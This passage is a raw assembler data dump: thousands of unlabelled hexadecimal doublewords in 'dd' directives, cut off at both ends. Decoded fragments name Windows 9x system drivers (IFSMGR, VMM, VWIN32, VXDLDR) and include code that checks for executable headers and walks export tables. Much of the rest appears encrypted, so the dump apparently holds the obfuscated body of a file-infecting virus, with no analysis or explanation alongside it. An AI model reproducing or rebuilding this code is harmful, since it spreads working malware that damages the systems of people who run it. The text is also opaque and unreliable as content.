6C895DC3h, 44810424h, 1C0424h, 55450000h, 187EDEC3h dd 696939EBh, 8D8938B9h, 5E929F5h, 5B1B529h, 5C8B05E9h dd 0E8550C24h, 0 dd 23ED815Dh, 8B05EC93h, 0E9234585h, 0FD858905h, 8B05E91Eh dd 0E9003985h, 71858905h, 8B05E91Eh, 0E921D585h, 0C5858905h dd 0C605E918h, 0E90EE585h, 85C70005h, 5EC7BFEh, 0 dd 9391858Dh, 838905ECh, 0B8h, 0C3C0335Dh, 8DB58960h, 0E905E910h dd 0Eh, 0ED83C3CAh, 6B9C0B6Eh, 1F19F47Fh, 0F8613489h, 19919D89h dd 74BC05E9h, 0F90012FFh, 58F64h, 0F000000h, 1783h, 12E900h dd 0B6410000h, 934CE2F3h, 57D2368Fh, 0F2134FA5h, 97F6F4A6h dd 6A04C483h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 3BF3C355h, 15FA05B6h, 0C8C0Fh dd 800F0000h, 6, 2C058D09h, 9D0105E9h, 5E92EBDh, 83E961h dd 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh dd 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h, 8B000000h dd 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h dd 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch dd 83202454h, 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h dd 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h dd 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh, 12h dd 0CC8E03B5h, 3E5A1909h, 27A76B04h, 5E1D0372h, 0C7808F51h dd 10E95A95h, 0D7000000h, 46DB3812h, 2200E068h, 0C90A0D55h dd 81413E61h, 5FA8C2h, 0DE8B6600h, 17B968h, 0C2BF0F00h dd 2DB85259h, 5F520646h, 0B86632FFh, 0BB5EF5E2h, 4333FEC0h dd 0C546EE81h, 816637FCh, 810425CBh, 0FFCE85EEh, 9860F04h dd 0F000000h, 386h, 71F48000h, 933BEE81h, 0B8665FB7h, 328934FFh dd 0EA81B9B0h, 36D5E8D0h, 81FFBF0Fh, 0D5E8CCC2h, 10B86636h dd 1E98331h, 1D850Fh, 0B8660000h, 25E9A53Ah, 0E3000000h dd 0E5D32AC3h, 9A5D8C5Bh, 7DDEF3D2h, 576FAE90h, 53C0B558h dd 0E95FD88Bh, 0FFFFFF84h, 17653E1Dh, 4765AEE6h, 10E8h dd 5F21F300h, 3281A6B9h, 8942C0C6h, 75E10C31h, 0F5FF846h dd 0C781C8B7h, 5F2Dh, 0B8h, 0D78B6600h, 0E93834FFh, 0Eh dd 5685C3F4h, 0BF1714C4h, 9F015FF9h, 665BC6BEh, 817F35BAh dd 2A1900C3h, 0EAE68151h, 81289B77h, 0E5DBE2C3h, 0A820F0Ch dd 0E9000000h, 5, 33A958ABh, 8BC38190h, 0B578AF14h, 48F5358h dd 0F7B70F07h, 5E9h, 0B7BF7500h, 0E883D285h, 0D2816602h dd 48488BA8h, 8E8h, 0DFA11100h, 0D6CB0AF7h, 0AE981h, 0CF450000h dd 71E796E1h, 376B748Ah, 80F8815Eh, 0FFFFFA1h, 0FFFF7785h dd 4DACB9FFh, 34EB06D9h, 4D534649h, 20205247h, 20444B56h dd 20202020h, 204D4D56h, 20202020h, 4E495756h, 20203233h dd 4C445856h, 20205244h, 3 dup(0) dd 715E9h, 0FC60F800h, 962F85C7h, 5ECh, 8E90000h, 0AA000000h dd 0C4C7F7F2h, 8B1EF0B7h, 55006AC6h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 26F7CBD1h dd 0F9DBB71h, 5760D8B7h, 615F5F50h, 0F10E8C1h, 18Eh, 0C166FC00h dd 0FE908C8h, 2D000000h, 0F8069085h, 1B73D3B8h, 5B6F6265h dd 8589860Eh, 5EC9633h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0B3C35343h, 0C0A8E99h, 178A0Fh, 12E90000h dd 41000000h, 4CE2F3B6h, 0D2368F93h, 134FA557h, 0F6F4A6F2h dd 0CBC16697h, 5E908h, 0E1F00000h, 83CF2EF1h, 850F40FBh dd 80h, 11E9h, 58E49600h, 6058AF8h, 0D98C175Bh, 0E3C72C8Ah dd 0BD8D1CFBh, 5EC9607h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 7C35646h, 11E94AB2h, 83000000h, 0D0919E04h dd 0F152AE9Dh, 4E1E89F9h, 61B60FAAh, 8E9h, 9560EC00h, 7575B66Bh dd 17BE972h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0F5972FC3h, 0F0DFB83h, 4A85h, 0BD8DF500h dd 5EC960Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 91C35242h, 0DE9h, 7E0C5800h, 0CBB8403Eh, 0F295E1ACh dd 1AE96048h, 0F5000001h, 0AE9h, 0A525EF00h, 0E07B8D15h dd 8384D7DDh, 850F01FBh, 61h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 2FC35747h, 0E92618D3h, 0Ah dd 0A53E5D48h, 634F75B0h, 8A0F02CDh, 1, 17BD8DFCh, 6A05EC96h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 1A46C356h, 0E9F9C43Eh, 0A1h, 2AFB83FCh, 58850Fh dd 0BE90000h, 0A1000000h, 0D55993B6h, 0D9AB5F83h, 0BD8D086Fh dd 5EC961Fh, 14840FF8h, 0F000000h, 0E8Fh, 9E900h, 2DD20000h dd 0C2B82DDh, 0E960EC43h, 61h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0FBC35646h, 62BD21A1h, 0FB839A97h dd 11850F27h, 0F8000003h, 9627BD8Dh, 6A05ECh, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0FBEF6C3h dd 0C81h, 68F0F00h, 0F000000h, 80h, 37BD8900h, 6A05EC96h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0A3EEC353h, 0E960DCFBh, 14h, 6C69A28Fh, 47FE6994h dd 2F0003A7h, 49997470h, 3CF4B485h, 8E860h, 0F4520000h dd 242D03C2h, 51584E67h, 0F861615Bh, 6AC88C66h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 9E7EC351h, 154457EBh, 0F58BAD16h, 0BE90324h, 0B9000000h dd 87FB7C8Fh, 3E622A3h, 0C00AB8F1h, 168850Fh, 8DF90000h dd 0EC9C3EB5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 4FAC5988h, 0FD01CD30h dd 8E9h, 65AADC00h, 399DFDDBh, 0EBE601Bh, 6055BA9Fh, 66C3B70Fh dd 0DAF3EF81h, 858B6161h, 5EC9CB0h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 82C35747h, 7A7B8F0Eh, 0BF6660F9h dd 9E9879Bh, 0EE000000h, 8ED512A2h, 1676430Eh, 8E0F5061h dd 13h, 0EE9h, 2DD69F00h, 60158619h, 0FFC98064h, 89E25B53h dd 11E92414h, 6E000000h, 82908114h, 471E2020h, 0C54D0F87h dd 357C31D9h, 244C010Fh, 5E9FEh, 0BCE90000h, 5A05EF95h dd 11E9h, 0ED112700h, 0C35E3F64h, 7739C177h, 73732B67h dd 0C28367BBh, 8966F524h, 5E9FC72h, 62000000h, 0CC75476Ch dd 10CEC1F8h, 728966FCh, 0E880F02h, 0E9000000h, 9, 0C0E19131h dd 0C387DB17h, 0E904CD6Eh, 12h, 0B6504DB0h, 0FDF483FCh dd 0AD4C44F0h, 38E0F099h, 850F19B9h, 7, 18A0Fh, 0E9F80000h dd 0F1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 1FC35242h, 0D56711C1h, 0B8B0F81h, 60000000h, 50FBD381h dd 0C480448Ch, 858B61A6h, 5EC9CB0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0FCC35545h, 0A95BF03Ah, 0DB51B2CCh dd 3EB58D09h, 0F05EC9Ch, 1389h, 0EE900h, 1F90000h, 0F3C99C71h dd 8E018C7Fh, 987C3E82h, 4E23858Dh, 6A05ECh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 4047D1C3h dd 285F4A2Bh, 5E97AF8h, 39000000h, 2FA40F0h, 14E9h, 4A4C8B00h dd 8E3F942Ah, 76EF70D0h, 2A458E1Ah, 930C5B65h, 6AD0FF4Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0E93AC357h, 5, 49B5D37Ah, 2F858949h, 0E905EC96h dd 14h, 0EA82423Bh, 2E1EE9C2h, 0FDBA451Eh, 6E2B94E6h, 0E866C7B9h dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 1B4D5D51h, 858BF94Fh, 5EC962Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 8CC35040h, 0C0D1C77Ah dd 0C3FCE2A7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0CC35343h, 800F5D42h, 13h, 0AE960h, 93440000h dd 0B4849FA7h, 626CAF55h, 60616160h, 13E9h, 17291700h dd 87DD507Ah, 8F293FA5h, 3EFD426Ch, 710ECCC5h, 9CB0BD83h dd 0F0005ECh, 2885h, 0DE900h, 0BE880000h, 0C3A988F9h, 0ED427C28h dd 0C7B7EF97h, 0EC9CB085h, 1013F05h, 7E900h, 0D3F00000h dd 8B3AB9CBh, 1DE939h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0CDFC37C3h, 20h, 74C00B00h dd 0C708D37h, 9637BD8Bh, 8B905ECh, 0A6000000h, 75492275h dd 30488BFAh, 96339D8Bh, 583B05ECh, 8B157F34h, 4D26BD3h dd 18BCA03h, 962F8589h, 4EB05ECh, 0C5EB008Bh, 2F858B61h dd 0CF05EC96h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0A0C35545h, 8B60AF5Ah, 0E5D681F0h, 615E6744h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0CCC35343h, 5C282323h dd 0F7B41ECFh, 0CE9h, 0A5BF7300h, 2245D6E7h, 0EA040FE8h dd 0C08BFCB4h, 0E5E9h, 0EE4D1000h, 3271DCFFh, 0E0A1D1Fh dd 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh, 2F6D3733h dd 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h, 60206020h dd 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h dd 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h, 53752060h dd 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h, 60D650F0h dd 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h, 60F76DB9h dd 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h, 0EDF73D57h dd 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh, 2F6D3733h dd 0A1E357Dh, 0C1A8000Eh, 0FD54A766h dd 7F1643F2h, 69E91605h, 6800000Ch, 5ECA0E8h, 0FCE1A6E9h dd 0A1DF68FFh, 9CE905ECh, 68FFFCE1h, 5ECA291h, 0FCE192E9h dd 0A32C68FFh, 88E905ECh, 68FFFCE1h, 5ECA3C6h, 0FCE17EE9h dd 0A45B68FFh, 74E905ECh, 68FFFCE1h, 5ECA5B0h, 0FCE16AE9h dd 0A6C868FFh, 60E905ECh, 68FFFCE1h, 5ECA7ACh, 0FCE156E9h dd 0A86868FFh, 4CE905ECh, 68FFFCE1h, 5ECA91Dh, 0FCE142E9h dd 0A7CE0EFFh, 3968A48Ah, 0CAF9361Ch, 598CC7ADh, 0ED18563Ch dd 9C16CCD0h, 3016335Eh, 0C5ABC8EFh, 583E5B86h, 1CEEB1Eh dd 842C7220h, 59B21325h, 5588C27Bh, 0FB226327h, 9CCF09CDh dd 3C6FAA6Eh, 0C2B32A0Eh, 621336DCh, 0B6E521FBh, 0C6F93319h dd 0A81870A9h, 2644D605h, 0EA1D2CB5h, 2172204Dh, 0C51C323Fh dd 857DAC4Fh, 2918C456h, 23E79F3Ch, 0E8BF67E9h, 2B9B8D8Eh dd 8CC6ACC9h, 0DC87B659h, 0D00E2FBFh, 0FF974FECh, 132041C2h dd 0A6D40340h, 8533A7E2h, 132041C1h, 0C7F557CDh, 0C5DF96B9h dd 70F85A89h, 6406411h, 96D0B6D3h, 8F91C063h, 1328FE7Eh dd 571BD370h, 0F8BCEA1Dh, 435C8ABDh, 9D31F00h, 0B5EF4BD4h dd 8DDC5482h, 0CF2EB6E8h, 0AB88B7A6h, 0DEA70256h, 0B17DEBF6h dd 558F4700h, 6598D2B8h, 0FEA76948h, 0E9B94526h, 80000004h dd 7EDB15Fh, 7BF11320h, 88C2B0DEh, 29632755h, 48A0D9F6h dd 661435D8h, 16C91A20h, 818738AEh, 0D47FDC6Dh, 0A553801Dh dd 1C327728h, 0FA92C036h, 132058C8h, 0C4E78E2Fh, 4526911Ch dd 4914h, 176FDA00h, 4D5604A7h, 0B91C3229h, 0ADDB0E49h dd 485381E3h, 0ED0BF19h, 50EDB64Fh, 20E5AC96h, 6E95D613h dd 0F427C40h, 7ABB17E1h, 0B7542553h, 0D879E0BEh, 28420E9Dh dd 1F5E4526h, 25000001h, 0E9105604h, 289E1320h, 88C25D8Bh dd 0E391B255h, 16C91AA3h, 6018B52Bh, 2C252655h, 2E806E74h dd 426DAB91h, 8ED07E9Fh, 0C516C999h, 0C9995717h, 89E15716h dd 0FCC27013h, 216C999h, 7337EF8Ch, 89630639h, 0CB83204Bh dd 7DA8E6C0h, 93C0FAE0h, 0D4822558h, 16C99992h, 2744A61Ch dd 0C994846Dh, 0C8769716h, 16C99A86h, 0C1614308h, 85CA87B4h dd 66A08623h, 0F6301633h, 267E95C3h, 0F1537EBCh, 932BA04Eh dd 0F56B1C31h, 0D7479FD8h, 0FA391334h, 5DDF9FCFh, 69DF1320h dd 0EDF19FCCh, 7119C6D5h, 407E58FBh, 0E56026D4h, 752316CBh dd 16CBE531h, 79EF47BDh, 0D614FA17h, 6A0E7AABh, 69616F74h dd 91BADh, 739ADA00h, 5347056h, 96C502E8h, 25589379h, 0B9E42208h dd 704A989Ch, 4EA0732h, 997F9CC3h, 2C122F5Ah, 0D5A2BFF2h dd 0BA0046F4h, 358E1325h, 63A17B57h, 74D6FD3Eh, 0F9DF7C46h dd 21D641BBh, 267A4025h, 87C1A7C4h, 52BCFB05h, 0CBA005Dh dd 16C9334Ah, 1A7CDE54h, 176FCFFDh, 4D5604A7h, 6E1C3229h dd 8A275A94h, 0D2FB38A8h, 6F396796h, 6415DF0Dh, 0AC25CC10h dd 0BAE84A10h, 20822022h, 0FC256213h, 43294BBh, 0A6D40340h dd 7A2A4BC2h, 48AF113Ch, 0B58FCEA7h, 0CBAA477Ah, 45264F05h dd 8C1Bh, 0C908E200h, 0C2D3019Eh, 63275588h, 34CCFA25h dd 16C917DFh, 7996C903h, 0F8265993h, 761989E1h, 31F473C8h dd 304DC31Ch, 8C2F9FF7h, 0C6A56BDEh, 4AF8AF19h, 16CB8F04h dd 0FB2148Ah, 29CCF735h, 48E5104Fh, 527DBBA1h, 74D3A321h dd 0DE9A926Fh, 824h, 5F7CA3E3h, 0F10E3D79h, 829FCE0Bh dd 112E619Ch, 0A5C2ED2Bh, 3B7941A1h, 0CC0DF310h, 63A288A5h dd 0FB351B38h, 0FDDEABC8h, 25BB0F4Fh, 58368F13h, 3C5984C2h dd 0CCE91C56h, 5B88C29Eh, 608EF01Fh, 122F629Ch, 88E0DFEEh dd 26C77518h, 681C321Ch, 3A754FF2h, 0A8B16A07h, 0B8398979h dd 7D1ADA72h, 0F81AE9C3h, 1282DA60h, 444C16Fh, 148AE713h dd 0B877CFE6h, 745145Dh, 0D6A32BDCh, 9E4CEF51h, 0E2FD40F7h dd 668FCB3Bh, 0CAF82Bh, 78993C9Eh, 0C08D6149h, 59B1271Ch dd 0C786370Ch, 0E2C8656Fh, 725875A8h, 5CD40538h, 0AB7452BFh dd 772F7B3h, 0F1310000h, 8BC7ADCAh, 1C593F5Ch, 0AFEAD0EDh dd 3B795F7Ch, 0F3EFF310h, 415E89C7h, 0D6F31A5Bh, 6986B1F0h dd 0F9164983h, 0D99D4B2Ch, 0E51325B8h, 88C2AE8Ch, 0B8102755h dd 86F7A548h, 0C81C3200h, 8CEE1958h, 6EDE366Fh, 86281DCBh dd 7619DDh, 1649835Dh, 0A6D913F9h, 99096178h, 18DE48F6h dd 9B601C31h, 0F837EFD4h, 65E153F8h, 4FE20D54h, 0EE88BEDh dd 3C6BA7D4h, 9DD7BDDAh, 0CD253C6Ah, 870CBA5Dh, 5419DB49h dd 0B4103B7Ah, 0C8AA477Ah, 10D72152h, 6E666F77h, 6D7B2h dd 2F569600h, 0C1F02C12h, 5281BEA4h, 0E1144F35h, 75A0DEC4h dd 248E5458h, 0B89EBBE6h, 4D335077h, 0E0C6E30Eh, 895673A6h dd 0B9B4FAA8h, 0E13A1325h, 0A7176F03h, 0AD305604h, 59331C34h dd 7254F118h, 447F59FCh, 0E51FE311h, 86B350B2h, 50FE72ACh dd 1325870Eh, 0B2E52090h, 0A4D1EE50h, 0CAB07375h, 821FB371h dd 12F629Ch, 7F2292EAh, 0DEEDBCD1h, 9FDDB719h, 0DDC18533h dd 57CD16CCh, 0E2A452F5h, 0EC16CCDDh, 32F7D976h, 555F36EEh dd 74A50745h, 6F718730h, 3D8B473Fh, 0FC000006h, 927895BCh dd 240A2756h, 0B59BB8E7h, 442A477Ah, 0BABEDB06h, 29549228h dd 0BEE5260Ch, 517CBBA1h, 0E1144E34h, 6816F7C4h, 1325B926h dd 6F714FA8h, 2A04A717h, 578AC5EEh, 7D2B58F5h, 1C34AC48h dd 0A37D2096h, 33193669h, 8198C6F9h, 6816B929h, 19D832FEh dd 46670A80h, 65022D6Ch, 50C3457Fh, 7710A3CEh, 8D7390F2h dd 0BCE72653h, 3462C48Eh, 6614C51Dh, 16C9DB20h, 13416CAAh dd 197BF149h, 0DD4BC876h, 65DB1C32h, 8D9CDE34h, 0B9756D69h dd 5A8h, 0E3002767h, 7592C1FDh, 623528Fh, 95B2E520h, 294671AFh dd 0B7F5BD25h, 48896F8Ch, 0DF1E0421h, 77B197B4h, 795A2744h dd 25BE8BCBh, 0DCBA1313h, 275588C2h, 0D9F62963h, 35D848A0h dd 32230E87h, 66A0101Ch, 0D93B0533h, 0C2F13ABh, 0A7481320h dd 0C533DDCEh, 47214526h, 0E4AEDC0Bh, 482647h, 6FEC0000h dd 4A6FAD17h, 0EAB4E209h, 2E905A88h, 29C4DD8Bh, 0CC421C32h dd 0B3C069Eh, 0A23B1320h, 0B93D381h, 0DC171320h, 59B17BA9h dd 4E7CAFE9h, 50852284h, 69173825h, 13200B25h, 0B79633A9h dd 4526C6E9h, 0EF07h, 4C7BCD00h, 36E49C77h, 16C9CF70h dd 1A57087Eh, 0BDA34058h, 0F3E80183h, 72234E8Ch, 0AB0D6C8Fh dd 507BB97Dh, 0F1245E22h, 0A4DEB8C3h, 0B4EED471h, 49AA6481h dd 9916C9D0h, 290F2C5Fh, 5588C2EFh, 0CDFB5D27h, 7CABE8C2h dd 0AEE7844Eh, 2243E656h, 0B9EC2701h, 0C9DEC589h, 389F7016h dd 52FDAAAEh, 2DE784FAh, 1C322280h, 0B0245ECEh, 2028BC02h dd 6ACC4213h, 0F310723Ch, 4FF262BAh, 0A61A542Eh, 2028B6F8h dd 60C23813h, 11CB6832h, 19C6A326h, 7953F66Ch, 0C6F3103Bh dd 5684ABECh, 0CB09EF8Ch, 0DEBF6FA0h, 160E6F74h, 4535Ah dd 0ABD21200h, 3D6CA88Eh, 0CEFD3A20h, 5D90CBB1h, 0F11C5A40h dd 0A812D0D4h, 3C223F6Ah, 0D1B7D4FBh, 644A6792h, 0DDAF72Ah dd 0BF387E2Ch, 6DC61325h, 5984C28Fh, 9A1C563Ch, 0F1918730h dd 0F4338FECh, 1C4A67C9h, 4A7176Fh, 0EF6FED2Ah, 50F63ED6h dd 4C1644A6h, 0CFD482AFh, 371C32A3h, 0C7FB93C1h, 30132081h dd 5083BD97h, 66F77EB3h, 81D79745h, 61D71320h, 4C3BE5C4h dd 0FA294526h, 0A80CCB3Dh, 0E81352C6h, 0F18EF0BAh, 0D1D0h dd 0C8769700h, 13200886h, 0C7F59208h, 3665A17Bh, 0BBA13E08h dd 5C204E81h, 0BAC5F31Eh, 3B26E88Bh, 2CC9F4CBh, 0C93A8172h dd 74A7E116h, 0A377157h, 636E9CCFh, 0C934F1B5h, 2587FD16h dd 267E95C3h, 0C86513B6h, 161C323Bh, 0E3C67A6h, 5C40EDF5h dd 0B4167246h, 0A4FC3552h, 0A44495E5h, 0AC0E776Eh, 34535B09h dd 65DB19C6h, 8AC7A1C2h, 0C6632D5Bh, 0D477A2E0h, 1E4105B3h dd 0D74D16CBh, 6FAD933Ah, 65711344h, 0C8C06F75h, 33B0Ch dd 93BAFA00h, 25549076h, 0B6E52208h, 4578B399h, 0D9044228h dd 902AB8BCh, 240A2752h, 0B99FBCE3h, 4C324F7Ah, 0F5C2DF12h dd 0BC206614h, 55AE1325h, 5984C277h, 749BDCB6h, 38DF7C46h dd 0ACEB1852h, 27895381h, 5A7BDC0Ah, 0C91AEAACh, 0E17EF416h dd 608EC1FBh, 122F629Ch, 0A0CF0BE5h, 0E70BA872h, 1D8DE5E4h dd 9B2A597Ah, 601E2AC2h, 46A761FEh, 881C32CDh, 38406F12h dd 7F95956Eh, 47DD9633h, 0BF17FDE3h, 711484DCh, 0EEE3AEC3h dd 37EADBDh, 0B4994A0Fh, 25537EBDh, 7A5CF95Bh, 0AACBD604h dd 0FC64BAFCh, 31CE44B2h, 8D30A0F8h, 2EB0DFh, 0E184FAB8h dd 5A50C607h, 385CB337h, 4580DC3Eh, 6E487512h, 0C312B234h dd 474303B1h, 0D54BB710h, 34675024h, 95CFB5D2h, 99753162h dd 0D0C8CD9Dh, 25714h, 0AFD61600h, 4170AC92h, 0D2013E24h dd 6194CFB5h, 0F5205E44h, 0A40ED4D8h, 381E3B66h, 0CDB3D0F7h dd 6046638Eh, 9D6F326h, 0BD347A28h, 61BA1325h, 1488C283h dd 0C91A2066h, 2FE95516h, 73292960h, 3E71AB1Bh, 82E44610h dd 97CA05DFh, 0D32B42FAh, 0AD12C063h, 0F11C32CFh, 873A5E7Bh dd 3876E038h, 0D908AB0Dh, 5DB28753h, 0A4CFAB6h, 941320E8h dd 0F21FBC1Eh, 0DBEEA344h, 4675EB19h, 53C056B0h, 79E941A3h dd 0BEDF28D6h, 0A91FA0BCh, 9C0C647Bh, 0B2E51FF9h, 0F01DBA84h dd 52DC5342h, 7E2197A5h, 94376AA4h, 0EC81C573h, 970DAA42h dd 336D53FAh, 7341CF00h, 9890B2EBh, 19BDCh, 0F31A5A00h dd 85B4F0D6h, 16458268h, 0A5D813F9h, 3964A288h, 0F0CA181Ch dd 846A87B2h, 19FF1C43h, 0AC92AFDAh, 55223F72h, 0B280C674h dd 0B50E1325h, 5B88C2D7h, 0E63DEE21h, 32BD659Eh, 344B79DBh dd 83372DCh, 5D21CFDAh, 6116C9E1h, 0F32D89EBh, 66C892C0h dd 0E05015C3h, 0E85E1C32h, 86C49ECBh, 289ABE5Bh, 4508C71Fh dd 477D98F6h, 8AB8EB25h, 59FC5EC0h, 0DBCD4AABh, 0EF1E9419h dd 36613559h, 5ACA229Fh, 1FFC09B7h, 0CC42A4C0h, 0BF2F879Eh dd 7D076E1Ch, 0D54BA12Eh, 9C1E5832h, 0A229E6A4h, 0B3F450FEh dd 270D2A8Ch, 189BAEDh, 44B68031h, 0E6904Ch, 65A50000h dd 0FF3B213Eh, 90CDB3D0h, 235E4461h, 0AFEDD3F0h, 7F636784h dd 0ADCAF533h, 425F86C7h, 0D5F21D5Ch, 6582B5EFh, 4509B798h dd 491325B3h, 88C212F0h, 421C2755h, 0FE37D407h, 729336A6h dd 0EEDE5C98h, 2675FADh, 0DBA5D335h, 0F6CF843Eh, 61D71C31h dd 77AAE4BEh, 3BE27F49h, 973AAA02h, 0DD8EDCE9h, 7EAC2219h dd 304D80BAh, 0AFDD104Ah, 3459E917h, 0B5C0E30Ah, 6582B5EFh dd 0DC18457Fh, 0DE376F5Eh, 0DD3F3D19h, 68424D7Bh, 775DFA2Dh dd 0AD6BA3Ch, 3797D785h, 0A1170525h, 70C432F0h, 0BD50336h dd 351947A9h, 85A6B7BEh, 254A97D7h, 0BC69BE05h, 44A218E0h dd 0F3D976ECh, 836986B9h, 52731649h, 259EE2A4h, 1A76EC05h dd 0B882B0DBh, 11A7631Bh, 0E7000000h, 3762A17Bh, 0B88E3F09h dd 0F8511B7h, 319FA643h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah dd 18466DAEh, 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh dd 4775A4E0h, 0E6895686h, 4C681h, 0EE830000h, 74FF5604h dd 8F5E0424h, 685C2404h, 3D99h, 53241C89h, 0C381E389h dd 4, 4EB81h, 1C870000h, 2C895C24h, 0BA525624h, 28F706E2h dd 0BB5AD689h, 0DCF597D2h, 685EF301h, 5CD7h, 83242489h dd 5D042404h, 8904EC83h, 0D989240Ch, 59084D89h, 5D2434FFh dd 4C481h, 34FF0000h, 0C4815B24h, 4, 0FCD556E9h, 77D4F1FFh dd 53D2BA18h, 0A089139Ch, 8B99D673h, 0ECAA28B8h, 0FFC50305h dd 9D2BF5E0h, 0AAD52D5Dh, 0D256F64Bh, 1AC59E1Dh, 0C4C09357h dd 7573614Dh, 995CE04Ah, 0DB5A8372h, 0BA1AF840h, 2E0F2Eh dd 0B492941Ah, 0F5F7820Ah, 13E81Ah, 0A1500000h, 0CE50B568h dd 1AC6B7Bh, 0FA3A4EAEh, 51319454h, 98C0FD8h, 0F000000h dd 385h, 0FA8B6600h, 8166525Eh, 59F4C0EFh, 6DBAC681h, 3DB80000h dd 0FF00001Bh, 2DA7BF36h, 0E95A42B4h, 0Ah, 3AB4234Fh, 767DFCF8h dd 0EA81A598h, 61BB59Ch, 7EF281F8h, 0F860B4F3h, 0BD4EEA81h dd 8E8599Eh, 57000000h, 8AE9764Ch, 566DC3DCh, 5FFB8B66h dd 8FF5525Bh, 5E806h, 20A00000h, 80E8159Eh, 835B6DEDh dd 8D0F04EEh, 2, 0F48EE8Ah, 1B85h, 0EAF18000h, 2BE9h, 6010F800h dd 1FD2CE49h, 795536C8h, 2D4971C4h, 0AD0342C2h, 406CE981h dd 78E96ECCh, 4CFFFFFFh, 0E47AD3F1h, 0FE421FCCh, 80A4676Ah dd 148E9h, 5000h, 5400h, 5800h, 5C00h, 6000h, 6400h, 6800h dd 6C00h, 0B000h, 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h dd 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h dd 0E400h, 0E800h, 0EC00h, 38h dup(0) dd 578DE900h, 9F50EB00h, 0BC858D00h, 2905ECABh, 0E90FE595h dd 0FC858905h, 0E905ECACh, 0Fh, 6548AD95h, 0F9F901B1h dd 0ED7F1A41h, 0C603F0F2h, 0E90EE585h, 81665405h, 0E8775ED3h dd 4, 0EE626829h, 8B50B1B5h, 24448BD6h, 820F04h, 8B000000h dd 49BA6600h, 24448907h, 60525004h, 0BE8h, 0F120F900h dd 7B3A095Fh, 7C9B8627h, 61D78B5Ah, 8E9310Fh, 97000000h dd 5AA88FA5h, 5A33CF27h, 9D8B5858h, 5E92F25h, 1EFDB5FFh dd 958905E9h, 5E91979h, 266D8D8Bh, 858D05E9h, 5EC7A6Fh dd 101DBD8Bh, 0D0FF05E9h, 5AF55250h, 85895Ah, 8A05ECADh dd 5AE9D9h, 0B5890000h, 5E928C1h, 0FCB58B56h, 8905ECACh dd 0FC858306h, 405ECACh, 8D60C35Eh, 0ECABBCB5h, 560FEB05h dd 36FF006Ah, 0AD0095FFh, 835E05ECh, 3E8304C6h, 61EC7500h dd 11B58BC3h, 0E905E906h, 12h, 92731CB4h, 0AC3C6BEBh, 0DE7328C0h dd 0A57FA2FDh, 0B58B31A7h, 5E90251h, 0ADD1858Dh, 0C28105ECh dd 61E50CE7h, 0B1D8589h, 4BEB05E9h, 2F0E0910h, 4B1AC53Ch dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h, 0D129B327h dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 0C400A6DBh, 1A0046C7h dd 0D5A3EAh, 9C000000h, 0FEC819h, 0FBFE4800h, 28000000h dd 0D427E641h, 0E9C3727Dh, 0C0Fh, 8365E180h, 0E901BDBDh dd 850F0005h, 58h, 303D8D89h, 0B805E9h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 745AC356h, 623013Bh, 81660259h, 0C27502CAh, 6A0004h dd 3E855h, 5D200000h, 6C895DC3h, 